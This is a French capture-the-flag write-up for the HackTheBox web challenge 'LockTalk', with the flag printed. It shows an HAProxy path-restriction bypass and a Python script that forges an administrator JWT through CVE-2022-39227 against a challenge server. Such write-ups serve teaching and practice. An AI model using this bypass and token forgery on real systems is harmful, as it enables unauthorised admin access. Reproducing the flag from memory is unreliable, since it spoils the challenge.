LockTalk
Catégorie: Web Difficulté: medium Flag: HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}
Challenge
Description
In "The Ransomware Dystopia," LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization's mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness.
Ce challenge tourne sur un docker, disponible sur Github
Etape 1 : Bypass la restriction HAProxy
Dans les fichiers de conf, on voit que les chemins commençant par /api/v1/get_ticket
sont bloquées.

On peut bypasser la restriction en ajoutant ./
milieu du chemin : /api/./v1/get_ticket

En python il faudra cependant encoder le ./
en %2e/
pour ne pas que le module requests simplifie le chemin avant d’envoyer la requête.
Etape 2 : Forger un ticket admin
Dans le requirements.txt on voit la version de jwt 3.3.3 :

Parmi les vulnérabilités de cette version il y a la CVE-2022-39227.
Un repo git contient un PoC : https://github.com/user0x1337/CVE-2022-39227/
On peut faire un script pour automatiser l’attaque
Script de résolution
import requests
from json import loads, dumps
from base64 import urlsafe_b64decode, urlsafe_b64encode
# Based on https://github.com/user0x1337/CVE-2022-39227/
def forge(token, claim):
# Split JWT in its ingredients
[header, payload, signature] = token.split(".")
# Payload is relevant
parsed_payload = loads(urlsafe_b64decode(payload + "==="))
# Processing of the user input and inject new claims
try:
claims = claim.split(",")
for c in claims:
key, value = c.split("=")
parsed_payload[key.strip()] = value.strip()
except Exception:
print("[-] Given claims are not in a valid format")
exit(1)
# merging. Generate a new payload
patched_payload = urlsafe_b64encode(dumps(parsed_payload, separators=(',', ':')).encode()).decode()
# Create a new JWT Web Token
return '{" ' + header + '.' + patched_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
def solve(url):
# Get ticket with HAProxy 2.8.1 Bypass
response = requests.get(f"{url}/api/v1/%2e/get_ticket").json()
token = response['ticket: ']
# Forge administrator ticket
CLAIM = "role=administrator"
admin_token = forge(token, CLAIM)
response = requests.get(f"{url}/api/v1/flag", headers={'Authorization': admin_token}).json()
flag = response['message']
print(f"FLAG: {flag}")
if __name__ == '__main__':
solve("http://83.136.250.218:43366")
Dernière mise à jour
Cet article vous a-t-il été utile ?